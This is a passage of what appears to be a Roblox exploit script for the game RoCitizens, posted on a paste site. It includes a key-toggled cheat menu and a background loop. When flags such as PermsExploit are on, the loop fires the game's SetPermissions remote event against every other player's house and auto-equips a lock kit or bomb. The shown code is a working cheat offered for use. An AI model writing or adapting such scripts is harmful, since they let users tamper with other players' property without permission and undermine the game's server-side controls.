  743. UserInput.InputBegan:connect(function(input, ingui)
  744. if not ingui then
  745. if input.UserInputType == Enum.UserInputType.Keyboard then
  746. if input.KeyCode == Enum.KeyCode.P then
  747. RoCitizensGUI.Main.Visible = not RoCitizensGUI.Main.Visible
  748. end
  749. end
  750. end
  751. end)
  752.  
  753. Plrs.PlayerRemoving:connect(function(Plr)
  754. if Plr == SelectedPlayer then
  755. SelectedPlayer = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  756. RoCitizensGUI.Main.Players.Title.Text = "Current Selected Player: " .. SelectedPlayer.Name
  757. end
  758. end)
  759.  
  760.  
  761. coroutine.resume(coroutine.create(function()
  762. while true do
  763. if PermsExploit then
  764. for _, v in next, Plrs:GetPlayers() do
  765. if v ~= MyPlr then
  766. local House = FindHouse(v)
  767. if House then
  768. ComRelay.House.SetPermissions:FireServer(GeneratePermsTable(v), House)
  769. end
  770. end
  771. Run.RenderStepped:wait()
  772. end
  773. end
  774. if LockpickExploit then
  775. EquipItem("Lock Kit")
  776. end
  777. if ExplosivesExploit then
  778. EquipItem("Bomb")
  779. end
  780. wait(1)
  781. end
  782. end))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement